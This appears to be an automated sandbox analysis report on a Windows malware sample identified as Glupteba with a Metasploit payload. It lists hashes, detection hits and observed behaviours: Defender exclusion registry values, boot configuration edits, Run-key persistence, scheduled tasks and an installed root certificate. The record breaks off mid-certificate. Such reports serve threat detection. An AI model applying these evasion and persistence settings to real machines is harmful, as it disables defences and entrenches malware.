Analysis
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max time kernel
121s -
max time network
127s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
25-11-2022 08:46
Static task
static1
Behavioral task
behavioral1
Sample
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe
Resource
win10v2004-20220812-en
General
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Target
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe
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Size
3.8MB
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MD5
01c38c2e5f0605d0d53c3555e751a746
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SHA1
eecf5f41a757fe19b0950eefa88ac8fa6012a83a
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SHA256
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0
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SHA512
1ed25a20fec44438be6fb7d1181da964a3f2aa134406e0bbe5d37cbf84480f0d198b62b5eb1baed1b8c86dab407e4d895d46a914bcd9beba80f76737ab6badf8
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SSDEEP
98304:LffhKBJDIjXM6wa83EIOvVZTR0fTnZccVfpD845:LwH43bNvDCdHP
Malware Config
Extracted
metasploit
windows/single_exec
Signatures
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Glupteba payload 7 IoCs
Processes:
resource yara_rule behavioral1/memory/1264-56-0x00000000011A0000-0x00000000019A4000-memory.dmp family_glupteba behavioral1/memory/1264-57-0x0000000000400000-0x0000000000C50000-memory.dmp family_glupteba behavioral1/memory/1264-58-0x0000000000400000-0x0000000000C50000-memory.dmp family_glupteba behavioral1/memory/360-64-0x0000000000400000-0x0000000000C50000-memory.dmp family_glupteba behavioral1/memory/360-70-0x0000000000400000-0x0000000000C50000-memory.dmp family_glupteba behavioral1/memory/1780-73-0x0000000000400000-0x0000000000C50000-memory.dmp family_glupteba behavioral1/memory/1780-84-0x0000000000400000-0x0000000000C50000-memory.dmp family_glupteba -
MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
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Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\YoungLake = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe -
Modifies boot configuration data using bcdedit 14 IoCs
Processes:
bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exepid process 1544 bcdedit.exe 1180 bcdedit.exe 1720 bcdedit.exe 636 bcdedit.exe 1816 bcdedit.exe 2016 bcdedit.exe 964 bcdedit.exe 1632 bcdedit.exe 608 bcdedit.exe 268 bcdedit.exe 940 bcdedit.exe 1752 bcdedit.exe 1868 bcdedit.exe 1648 bcdedit.exe -
Drops file in Drivers directory 1 IoCs
Processes:
csrss.exedescription ioc process File created C:\Windows\system32\drivers\Winmon.sys csrss.exe -
Executes dropped EXE 3 IoCs
Processes:
csrss.exepatch.exedsefix.exepid process 1780 csrss.exe 1656 patch.exe 1540 dsefix.exe -
Modifies Windows Firewall 1 TTPs 1 IoCs
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Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
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Loads dropped DLL 12 IoCs
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exepatch.execsrss.exepid process 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe 360 ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe 876 1656 patch.exe 1656 patch.exe 1656 patch.exe 1656 patch.exe 1656 patch.exe 1656 patch.exe 1656 patch.exe 1656 patch.exe 1780 csrss.exe -
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\YoungLake = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Windows\CurrentVersion\Run\YoungLake = "\"C:\\Windows\\rss\\csrss.exe\"" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 3 IoCs
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exemakecab.exedescription ioc process File opened for modification C:\Windows\rss ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe File created C:\Windows\rss\csrss.exe ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe File created C:\Windows\Logs\CBS\CbsPersist_20221125144617.cab makecab.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
Processes:
schtasks.exeschtasks.exepid process 1004 schtasks.exe 1764 schtasks.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exenetsh.execsrss.exedescription ioc process Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-161 = "Central Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1472 = "Magadan Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-3 = "Microsoft Corporation" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-541 = "Myanmar Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-92 = "Pacific SA Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-22 = "Cape Verde Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-435 = "Georgian Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-251 = "Dateline Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-341 = "Egypt Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-431 = "Iran Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-202 = "US Mountain Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-212 = "Pacific Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-292 = "Central European Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-841 = "Argentina Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-432 = "Iran Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\SYSTEM\CurrentControlSet\Control\NetTrace netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-652 = "AUS Central Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-122 = "SA Pacific Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-592 = "Malay Peninsula Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-301 = "Romance Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-103 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-461 = "Afghanistan Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-651 = "AUS Central Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-101 = "Provides Network Access Protection enforcement for EAP authenticated network connections, such as those used with 802.1X and VPN technologies." netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1021 = "Bangladesh Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-334 = "Jordan Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-192 = "Mountain Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-172 = "Central Standard Time (Mexico)" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-771 = "Montevideo Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1411 = "Syria Daylight Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-1 = "IPsec Relying Party" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time" ff3aa5457038dfb371eb3ceafdda9c41c984ade8eea703ae23be11b90c0629b0.exe -
Processes:
csrss.exepatch.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50ac46728f67314143d4676c387148921344daf0f450ca649a1babb9cc5b1338329850203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020186301d0603551d0e041604144e2254201895e6e36ee60ffafab912ed06178f39300d06092a864886f70d01010b05000382010100606728946f0e4863eb31ddea6718d5897d3cc58b4a7fe9bedb2b17dfb05f73772a3213398167428423f2456735ec88bff88fb0610c34a4ae204c84c6dbf835e176d9dfa642bbc74408867f3674245ada6c0d145935bdf249ddb61fc9b30d472a3d992fbb5cbbb5d420e1995f534615db689bf0f330d53e31e28d849ee38adada963e3513a55ff0f970507047411157194ec08fae06c49513172f1b259f75f2b18e99a16f13b14171fe882ac84f102055d7f31445e5e044f4ea879532930efe5346fa2c9dff8b22b94bd90945a4dea4b89a58dd1b7d529f8e59438881a49e26d56faddd0dc6377ded03921be5775f76ee3c8dc45d565ba2d9666eb33537e532b6 csrss.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\DF3C24F9BFD666761B268073FE06D1CC8D4F82A4\Blob = 0f00000001000000200000004b4eb4b074298b828b5c003095a10b4523fb951c0c88348b09c53e5baba408a3030000000100000014000000df3c24f9bfd666761b268073fe06d1cc8d4f82a42000000001000000920300003082038e30820276a0030201020210033af1e6a711a9a0bb2864b11d09fae5300d06092a864886f70d01010b05003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204732301e170d3133303830313132303030305a170d3338303131353132303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420473230820122300d06092a864886f70d01010105000382010f003082010a0282010100bb37cd34dc7b6bc9b26890ad4a75ff46ba210a088df51954c9fb88dbf3aef23a89913c7ae6ab061a6bcfac2de85e092444ba629a7ed6a3a87ee054752005ac50b79c631a6c30dcda1f19b1d71edefdd7e0cb948337aeec1f434edd7b2cd2bd2ea52fe4a9b8ad3ad499a4b625e99b6b00609260ff4f214918f76790ab61069c8ff2bae9b4e992326bb5f357e85d1bcd8c1dab95049549f3352d96e3496ddd77e3fb494bb4ac5507a98f95b3b423bb4c6d45f0f6a9b29530b4fd4c558c274a57147c829dcd7392d3164a060c8c50d18f1e09be17a1e621cafd83e510bc83a50a